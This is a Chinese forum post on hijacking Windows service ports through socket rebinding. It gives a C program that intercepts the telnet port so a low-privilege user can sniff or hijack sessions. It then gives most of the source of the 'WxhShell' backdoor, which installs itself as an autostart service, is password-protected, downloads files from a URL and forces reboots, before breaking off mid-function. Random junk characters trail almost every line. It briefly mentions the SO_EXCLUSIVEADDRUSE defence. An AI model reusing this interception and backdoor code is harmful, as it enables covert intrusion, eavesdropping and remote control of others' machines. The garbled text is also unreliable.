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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: at=D&oy4"+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OAY8,C=M  
oAC^4-Ld  
  saddr.sin_family = AF_INET; i@Vs4E[b  
v=j>^F Z  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G u6[{u  
>]^>gUmq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ujow?$&  
9ec0^T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 E+:.IuXW$  
XEa~)i{O  
  这意味着什么?意味着可以进行如下的攻击: X+d&OcO=q  
`)LIVi"(D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /XjN%|  
7<fL[2-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bmmb  
:mzCeX8 *  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #fO*ROe  
QZ?O;K1|y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H 'D#s;SlR  
BQE{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VVgsLQd  
yW[L,N7d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +tPx0>p;  
*ZX!EjICk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B,w:DX  
P4i3y{$V  
  #include w< v1 N  
  #include _F3KFQ4,S-  
  #include ]v<d0" 2  
  #include    CGCQa0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u0wn=Dg  
  int main() #"|"cYi,  
  { S!u6dz^[$X  
  WORD wVersionRequested;  dD:  
  DWORD ret; ip<15;Z  
  WSADATA wsaData; _r~!O$2  
  BOOL val; IU7$%6<Y  
  SOCKADDR_IN saddr; e21E_exM0  
  SOCKADDR_IN scaddr; &3jBE --  
  int err; Lf[G>0t&n  
  SOCKET s; VjC*(6<Gj  
  SOCKET sc; fFjLp l  
  int caddsize; IkiQ Ok  
  HANDLE mt; GJ.kkTMT  
  DWORD tid;   Ng?apaIi@~  
  wVersionRequested = MAKEWORD( 2, 2 ); u,:CJ[3  
  err = WSAStartup( wVersionRequested, &wsaData ); n9N#&Q"7m  
  if ( err != 0 ) { $+A%ODv  
  printf("error!WSAStartup failed!\n"); a|8| @,  
  return -1; ,LoMt ]H  
  } ~?2rGE  
  saddr.sin_family = AF_INET; #Tup]czO  
   (zjz]@qJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1 ,#{X3  
M ' a&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GU:r vS!  
  saddr.sin_port = htons(23); BhOXXa{B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F_ ,L 2J  
  { ;r gH}r  
  printf("error!socket failed!\n"); x-w`KFS  
  return -1; AD~~e% s=  
  } 5{8x*PSl  
  val = TRUE; a v'd%LZP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [`y:M&@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mrK,Ql  
  { i_[^s:*T  
  printf("error!setsockopt failed!\n"); x:!C(Ep)  
  return -1; SPfD2%jjC  
  } Uzan7A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /'R UA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 muL>g_H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LvSP #$f  
EC^Ev|PB\u  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b24NL'jm  
  { D?iy.Dg  
  ret=GetLastError(); b*btkaVue  
  printf("error!bind failed!\n"); fO[Rf_  
  return -1; Cf.pTYSl  
  } l*F!~J3  
  listen(s,2); HXD*zv@ *6  
  while(1) 73&]En  
  { 6V.awg,  
  caddsize = sizeof(scaddr); 8#X?k/mzU  
  //接受连接请求 l81&[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6(ka"Vu~  
  if(sc!=INVALID_SOCKET) &>&dhdTQ  
  { 4w;r l(s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g4~X#}:z$O  
  if(mt==NULL) 8O"x;3I9  
  { kHt!S9r  
  printf("Thread Creat Failed!\n"); f}L>&^I)  
  break; u@GRN`yn  
  } Kj~>&WU  
  } XR{5]lKt_  
  CloseHandle(mt); yq/[/*7^  
  } Nm H}"ndv+  
  closesocket(s); }9L 40)8  
  WSACleanup(); w/lXZg  
  return 0; Paae-EmC  
  }   )ZS:gD  
  DWORD WINAPI ClientThread(LPVOID lpParam) K*([9VZ  
  { g`%ED0aR  
  SOCKET ss = (SOCKET)lpParam; W HlD %u  
  SOCKET sc; ^2&O3s  
  unsigned char buf[4096]; O!#L#u53  
  SOCKADDR_IN saddr; wQF&GGY R  
  long num; <7vIh0  
  DWORD val; &,m'sQ  
  DWORD ret; I>< 99cwFI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yRgDhA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b5iIV1g  
  saddr.sin_family = AF_INET; w,M1`RsK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JxX jDYrU  
  saddr.sin_port = htons(23); o{ ,ba~$.w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *Gk<"pEeS  
  { 3Ew"[FUs  
  printf("error!socket failed!\n"); DiZ!c "$  
  return -1; 7i-W*Mb:  
  } <Z\MZ&{k{*  
  val = 100; C5:dO\?O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "-0pz\a  
  { vR6^n~  
  ret = GetLastError(); ef;& Y>/  
  return -1; ]ro1{wm!WU  
  } x?k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A^T~@AO  
  { #U ",,*2  
  ret = GetLastError(); "sX [p  
  return -1; DuTlYXM2^  
  } RT.wTJS;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8>%jZ%`a  
  { Z4wrXss~  
  printf("error!socket connect failed!\n"); |1_$! p  
  closesocket(sc); R` I8Ud4=  
  closesocket(ss); N=O+X~  
  return -1; *sc0,'0  
  } +(QMy&DtS  
  while(1) =\ti<  
  { "6I-]:K-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P-E'cb%ub  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VurP1@e&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `&|l;zsS  
  num = recv(ss,buf,4096,0); '-nuH;r  
  if(num>0) Ovaj":L  
  send(sc,buf,num,0); 3]:p!Y`$  
  else if(num==0) By51dk 7  
  break; UtW"U0A  
  num = recv(sc,buf,4096,0); c{]r{FAx9o  
  if(num>0) &9RW9u "  
  send(ss,buf,num,0); p5twL  
  else if(num==0) x8SM,2ud  
  break; _Cv[`e.  
  } *uI hxMX  
  closesocket(ss); vUo.BA#;.b  
  closesocket(sc); v2Qc}o  
  return 0 ; t9f4P^V`  
  } 0aTEJX$iZ  
,<^tsCI  
4t%:O4 3e  
========================================================== }<}`Q^Mlk  
3IJI5K_  
下边附上一个代码,,WXhSHELL YaY;o^11/  
!7Yt`l$$z  
========================================================== lt2Nwt0bv  
^;Hi/KvM\  
#include "stdafx.h" 3G%XG{dg  
!Z+*",]_  
#include <stdio.h> 5ykk11!p$  
#include <string.h> U'h[ {ek  
#include <windows.h> )L(d$N=Bd  
#include <winsock2.h> vs'L1$L'c  
#include <winsvc.h> J1c&"Oh  
#include <urlmon.h> {P<BJ52=  
(8@h F#N1  
#pragma comment (lib, "Ws2_32.lib") :ET3&J L  
#pragma comment (lib, "urlmon.lib") MoKXl?B<  
Oc"'ay(g  
#define MAX_USER   100 // 最大客户端连接数 :~0^ib<v;  
#define BUF_SOCK   200 // sock buffer [MQJ71(3  
#define KEY_BUFF   255 // 输入 buffer [o[v"e\w  
(4{@oM#H6  
#define REBOOT     0   // 重启 oQ-|\?{;A  
#define SHUTDOWN   1   // 关机 hD6ur=G8u  
Jc"$p\ $-  
#define DEF_PORT   5000 // 监听端口 ^qId]s  
`!Ge"JB6   
#define REG_LEN     16   // 注册表键长度 qy42Y/8'  
#define SVC_LEN     80   // NT服务名长度 o+X'(!Trw  
>QZt)<[  
// 从dll定义API  +,F= -  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ax{-Qi7z-+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lU50.7<08  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wf`Oye Rz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LO$#DHPt  
Q:fUM[  
// wxhshell配置信息 P^_d$  
struct WSCFG { Ng_rb KXC#  
  int ws_port;         // 监听端口 'Qs 3  
  char ws_passstr[REG_LEN]; // 口令 %:be{Y6  
  int ws_autoins;       // 安装标记, 1=yes 0=no RZ/+ K=  
  char ws_regname[REG_LEN]; // 注册表键名 ]=86[A-2N  
  char ws_svcname[REG_LEN]; // 服务名 UTK.tg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ev;5 ?9\E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "-j@GCme  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O%++0k;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Pdo5 sve  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {HRxyAI!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A^r [_dyZ  
9tc@   
}; C!/8e (!N  
`i>B|g-  
// default Wxhshell configuration ^?^|Y?f2P?  
struct WSCFG wscfg={DEF_PORT, dn)tP6qc/  
    "xuhuanlingzhe", J\dhi{0  
    1, k+Ma_H`  
    "Wxhshell", G$x["  
    "Wxhshell", QhE("}1  
            "WxhShell Service", r/q1&*T  
    "Wrsky Windows CmdShell Service", {z[HNSyRs  
    "Please Input Your Password: ", ukDH@/  
  1, Alk* "p  
  "http://www.wrsky.com/wxhshell.exe", l~6SR  
  "Wxhshell.exe" e2h k  
    }; C#?d=x  
b1>$sPJ+  
// 消息定义模块 4qSS<SqY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qYu!:xa8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C@?e`=9(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %`T^qh_dE  
char *msg_ws_ext="\n\rExit."; h&)vdCCk  
char *msg_ws_end="\n\rQuit."; :jKXKY+T  
char *msg_ws_boot="\n\rReboot..."; z`r4edk3  
char *msg_ws_poff="\n\rShutdown..."; *}iT6OJ  
char *msg_ws_down="\n\rSave to "; %C E@}  
o2e h)rtB  
char *msg_ws_err="\n\rErr!"; 7quwc'!  
char *msg_ws_ok="\n\rOK!"; r+#V{oE_  
{}_Oo%IVGK  
char ExeFile[MAX_PATH]; Y`O}]*{>8R  
int nUser = 0; Y)j,(9  
HANDLE handles[MAX_USER]; k}0  
int OsIsNt; ={i&F  
M"$RtS|h  
SERVICE_STATUS       serviceStatus; ]MA)=' ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bQN4ozSi  
f+*2K^B  
// 函数声明 O"-PNF,J  
int Install(void); x]J-q5  
int Uninstall(void); &\]f!'jV  
int DownloadFile(char *sURL, SOCKET wsh); lSbM)gL  
int Boot(int flag); z Q|x>3   
void HideProc(void); U/&qV"Ih  
int GetOsVer(void); B oj{+rE0  
int Wxhshell(SOCKET wsl); owY_cDzrH  
void TalkWithClient(void *cs); cSs/XJZ  
int CmdShell(SOCKET sock); 0!'M#'m  
int StartFromService(void); -JO46 #m  
int StartWxhshell(LPSTR lpCmdLine); o(SJuZC/U  
Z-p^3t'{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &lfF!   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pymh^i  
l'{goyf  
// 数据结构和表定义 Y)5uK:)^  
SERVICE_TABLE_ENTRY DispatchTable[] = nPIR 1Z  
{ 3^-)gK  
{wscfg.ws_svcname, NTServiceMain}, e"H+sM26-  
{NULL, NULL} {)[g  
}; Di1G  
vls> 6h  
// 自我安装 z` ?xS  
int Install(void) 2u;fT{(  
{ , G/X"t ~  
  char svExeFile[MAX_PATH]; jeBj   
  HKEY key; I/-w65J]  
  strcpy(svExeFile,ExeFile); CY).I`aJ  
z`:^e1vG  
// 如果是win9x系统,修改注册表设为自启动 gGdYh.K&e5  
if(!OsIsNt) { WI 4_4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S"A_TH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C`_D{r  
  RegCloseKey(key); -Jrc'e4K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1:s~ ]F@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Wh[q*A  
  RegCloseKey(key); &+{xR79+&  
  return 0; 0|Ft0y`+  
    } k'q !MZU  
  } 9C~GL,uKs  
} h=y(2xA  
else { :Du{8rV  
b`Ek;nYek  
// 如果是NT以上系统,安装为系统服务 9/KQAc*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B;7s]R  
if (schSCManager!=0) <0qY8  
{ ]G&\L~P  
  SC_HANDLE schService = CreateService l YA+k5  
  ( %|* y/m  
  schSCManager, #YVDOR{z  
  wscfg.ws_svcname, cCKda3v!O  
  wscfg.ws_svcdisp, R#bV/7Ol  
  SERVICE_ALL_ACCESS, B=/=U7T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &>4$ [m>n  
  SERVICE_AUTO_START, daJ-H  
  SERVICE_ERROR_NORMAL, so&3A&4cL  
  svExeFile, acZ|H  
  NULL, J; Xz'0  
  NULL, J 2~B<=V  
  NULL, l+X^x%EA  
  NULL, ,^66`C[G  
  NULL Ip\g ^ia  
  ); ;ypO'  
  if (schService!=0) 54_m{&hb  
  { 9JeGjkG,  
  CloseServiceHandle(schService); *<5lx[:4/x  
  CloseServiceHandle(schSCManager); iZ;jn8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #{`NJ2DU]  
  strcat(svExeFile,wscfg.ws_svcname); Ec/+9H6g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BU\NBvX$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JkEQ@x  
  RegCloseKey(key); 8>+eGz|  
  return 0; dM.Ow!j  
    } >Nqkz?67  
  } @,$HqJ  
  CloseServiceHandle(schSCManager); ky"7 ^  
} fb=vO U  
} 5d;K.O  
4[j) $!l`  
return 1; o%Q'<0d  
} cwU6}*_zn  
p)] ^>-L  
// 自我卸载 [o6<aE-  
int Uninstall(void) uV\#J{'*  
{ &1n0(qB  
  HKEY key; ?Ir6*ZyY  
B|w}z1.  
if(!OsIsNt) { $jL.TraV7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L7="!I  
  RegDeleteValue(key,wscfg.ws_regname); !aoO,P#j  
  RegCloseKey(key); [vJosbU;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TK1M mL  
  RegDeleteValue(key,wscfg.ws_regname); 5Z0x2 jV  
  RegCloseKey(key); F&Z>B};  
  return 0; Fd0FG A&L  
  } ,FPgs0rrS  
} cW>`Z:6{K  
} :9>nY  
else {  F<1'M#bl  
Ho9*y3]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7P(:!ce4-  
if (schSCManager!=0) 1O{67Pf  
{ RT 9|E80  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  16{;24  
  if (schService!=0) c9K\K~bk  
  { !2,.C+,  
  if(DeleteService(schService)!=0) { 3c"{Wu-}  
  CloseServiceHandle(schService); v8=MO:>{R  
  CloseServiceHandle(schSCManager); 8;bOw  
  return 0; 4K,&Q/Vdd7  
  } SxyFFt  
  CloseServiceHandle(schService); %|||M=akk  
  } 7] H4E.(l  
  CloseServiceHandle(schSCManager); C_;6-Q%V  
} w%"q=V  
} Cq'r 'cBZ  
lTNkmQ  
return 1; -UE-v  
} c73ZEd+j  
AS398L  
// 从指定url下载文件 #6nA^K}  
int DownloadFile(char *sURL, SOCKET wsh) IEj`:]d  
{ Z r*ytbt  
  HRESULT hr; FL}8h/  
char seps[]= "/"; @bE?WXY  
char *token; H$HhB8z3  
char *file; !ym5' h  
char myURL[MAX_PATH]; ng\S%nA&J  
char myFILE[MAX_PATH]; U$%w"k7^(  
B.b)YE '  
strcpy(myURL,sURL); 3x$#L!VuU  
  token=strtok(myURL,seps); dv: &N  
  while(token!=NULL) jk?(W2c#{  
  { <aS1bQgaU  
    file=token; o qTh )  
  token=strtok(NULL,seps); q2Dg~et  
  } GH!#"Sl8Z  
-. G0k*[d  
GetCurrentDirectory(MAX_PATH,myFILE); (["u"m%  
strcat(myFILE, "\\"); uhLW/?q.  
strcat(myFILE, file); / ffWmb_4  
  send(wsh,myFILE,strlen(myFILE),0); R2{X? 2|$  
send(wsh,"...",3,0); LNW p$"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _7VU ,  
  if(hr==S_OK) 2I5@zm ea  
return 0; $1F9TfA  
else 4O'ho0w7  
return 1; k3w#^ "i  
xFh}%mwpt[  
} >U]. k8a)  
qx NV~aK  
// 系统电源模块 bzTM{<]sv  
int Boot(int flag) 2oRmro  
{ o@-cT`HP  
  HANDLE hToken; V"z0]DP5~  
  TOKEN_PRIVILEGES tkp; 9lwg`UWl,  
mD:!"h/  
  if(OsIsNt) { '>8N'*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N~_gT Jr~P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :8FH{sqR  
    tkp.PrivilegeCount = 1; z%z$'m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S45jY=)z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]](hwj  
if(flag==REBOOT) { ]H*=Z:riu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )ALcmC?!#  
  return 0; ?UzHQr  
} p;HZA}p \  
else { 6\L,L &  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j yE+?4w;  
  return 0; ]v@,>!Wn  
} CEiG jo^  
  } H}/1/5 L  
  else { [?A0{#5)8x  
if(flag==REBOOT) { #N:o)I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0n%`Xb0q  
  return 0; x :s-\>RcA  
} o<;"+@v  
else { U-d&q>_@A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aE}u5L$#  
  return 0; {Ffr l(*  
} bk 2vce&  
} 2epL!j)Wh  
uu:BN0  
return 1; fQ@["b   
} o5d)v)Rx=  
pE#0949  
// win9x进程隐藏模块 QGa"HG5NF  
void HideProc(void) -3C~}~$>`  
{ . Hw^Nx  
-Cl0!}P4I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); iD9GAe}x  
  if ( hKernel != NULL ) kE1u-EA  
  { R~o?X ^^O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qohUxtnTK>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U3>G9g>^B  
    FreeLibrary(hKernel); pAYuOk9n  
  } {chl+au*l  
g~]FI  
return; (,k=mF  
} ?V+=uTCq  
q>?oV(sF  
// 获取操作系统版本 :'03*A_[  
int GetOsVer(void) cVU[>gkg_  
{ d+kIof,  
  OSVERSIONINFO winfo; d] {^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X#fI$9a  
  GetVersionEx(&winfo); Cs<d\"+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $K hc?v  
  return 1; t_3XqjuA  
  else P<U{jkM\/  
  return 0; FRr<K^M  
} +aMPwTF:3  
}\B6d\k  
// 客户端句柄模块 sBh|y F,  
int Wxhshell(SOCKET wsl) /h;X1Htx}  
{ ?6|EAKJ`lK  
  SOCKET wsh; SI\zW[IL  
  struct sockaddr_in client; 9 HuE'(wQ  
  DWORD myID; MQAb8 K:e  
9 ItsK  
  while(nUser<MAX_USER) ^#Shs^#  
{ tkA '_dcIC  
  int nSize=sizeof(client); cP-6O42  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a"}?{  
  if(wsh==INVALID_SOCKET) return 1; w%htY.-  
{ES3nCL(8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N:0mjHG  
if(handles[nUser]==0) 7yKadM~)  
  closesocket(wsh); i;cqK&P;]  
else :Q 89j4,  
  nUser++; v6FYlKU@8  
  } <X:7$v6T|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '_2~8w  
V`G]4}  
  return 0; D(y=0),  
} [/I4Pe1Yj%  
6HyQm?c>a  
// 关闭 socket N=(rl#<  
void CloseIt(SOCKET wsh) 6g)21Mh#  
{ SOd(& >  
closesocket(wsh); hD"Tjd` P  
nUser--; IRLT -  
ExitThread(0); <EJC.W WJa  
} 0nC%tCV'  
cxVnlgq1  
// 客户端请求句柄 ,+0_kndR  
void TalkWithClient(void *cs) dx|j,1e  
{ kZeb^Q+,  
v~j21`  
  SOCKET wsh=(SOCKET)cs; |]V0sgpoZ  
  char pwd[SVC_LEN]; \S _ycn  
  char cmd[KEY_BUFF]; (@]{=q<  
char chr[1]; ~G"5!,J  
int i,j; Rc @p!Xi  
rZ<@MV|d  
  while (nUser < MAX_USER) { Rb?6N  
8^2Q ~{i  
if(wscfg.ws_passstr) { .(D-vkz'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Z #  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w18kTa!4@  
  //ZeroMemory(pwd,KEY_BUFF); , j7&(V~  
      i=0; qXgg"k%A\  
  while(i<SVC_LEN) { \G2&   
PKk_9Xd  
  // 设置超时 *?cE]U6;  
  fd_set FdRead; .:E%cL +h  
  struct timeval TimeOut; cl[rgj  
  FD_ZERO(&FdRead); zl$'W=[rFs  
  FD_SET(wsh,&FdRead); I;9>$?t[  
  TimeOut.tv_sec=8; cZi/bIh  
  TimeOut.tv_usec=0; qn:3s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +eQg+@u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SD |5v*  
!CUrpr/*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~'n3],o?  
  pwd=chr[0]; f/aSqhAW  
  if(chr[0]==0xd || chr[0]==0xa) { a(QYc?u  
  pwd=0; w(0's'  
  break; e~oI0%xl^  
  } wP29 xV"5  
  i++; y\]:&)?&C^  
    } ,iV|^]X3$/  
6cDe_v|,  
  // 如果是非法用户,关闭 socket O1V s!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s"s^rC  
} qq G24**9v  
7vZznN8e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r$d,ChzQn?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @-)jU!  
4@- 'p  
while(1) { 0@k)C z[0;  
:@mb.' %*!  
  ZeroMemory(cmd,KEY_BUFF); *>I4X=  
v,^2'C$o  
      // 自动支持客户端 telnet标准   g m'8,ZL  
  j=0; #!qa#.Yi  
  while(j<KEY_BUFF) { Dn1aaN6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f5'Cq)Vw_  
  cmd[j]=chr[0]; < j^8L^  
  if(chr[0]==0xa || chr[0]==0xd) { {FNmYneh?6  
  cmd[j]=0; 4-1=1)c*  
  break; +G)L8{FY(  
  } rE)lt0mkv  
  j++; e'Njl?>3  
    } 5 o-WA1  
7,X5]U&A<x  
  // 下载文件 s|FfBG  
  if(strstr(cmd,"http://")) { bLuAe EA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WKek^TW4HE  
  if(DownloadFile(cmd,wsh)) XnR9/t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /x\{cHAt8J  
  else  UDl[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,ELbm  
  } _P,3~ ;  
  else { xA/Ein0  
oK\{#<gCZ  
    switch(cmd[0]) { ai0am  
  Q*&k6A"jx  
  // 帮助 @'P\c   
  case '?': { /r2*le (H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  $I}7EI  
    break; `3GYV|LeQ  
  } e*K1";  
  // 安装 l1 Nr5PT  
  case 'i': { ;tg9$P<85  
    if(Install()) ?o$ hlX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oy{ {d  
    else (@X].oM^y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TuR.'kE@  
    break; <l>o6K  
    } H.-VfROi2  
  // 卸载 @,kR<1  
  case 'r': { o>~xrV`E  
    if(Uninstall()) fRlO.!0(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jxeZ,w o  
    else *e/8uFX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dK.k,7R  
    break; AXN%b2  
    } m6+4}=Cn  
  // 显示 wxhshell 所在路径 B\*"rSP\  
  case 'p': { s&.VU|=VQ@  
    char svExeFile[MAX_PATH]; a\_?zi]s&,  
    strcpy(svExeFile,"\n\r"); *UxN~?N|  
      strcat(svExeFile,ExeFile); E)ne z  
        send(wsh,svExeFile,strlen(svExeFile),0); N./l\NtZ  
    break; :^bjn3b  
    } 3IB||oN$T  
  // 重启 ZF@T,i9  
  case 'b': { dkUh[yo"H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8>4@g!9E  
    if(Boot(REBOOT)) \A#YL1hh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ah#bj8}  
    else { hsCts@R  
    closesocket(wsh); nI0TvB D  
    ExitThread(0); Wks?9 )Is  
    } LKX; ^  
    break; 5-[bdI  
    } >oYr=O  
  // 关机 *gGL5<%T:  
  case 'd': { VelR8tjP  
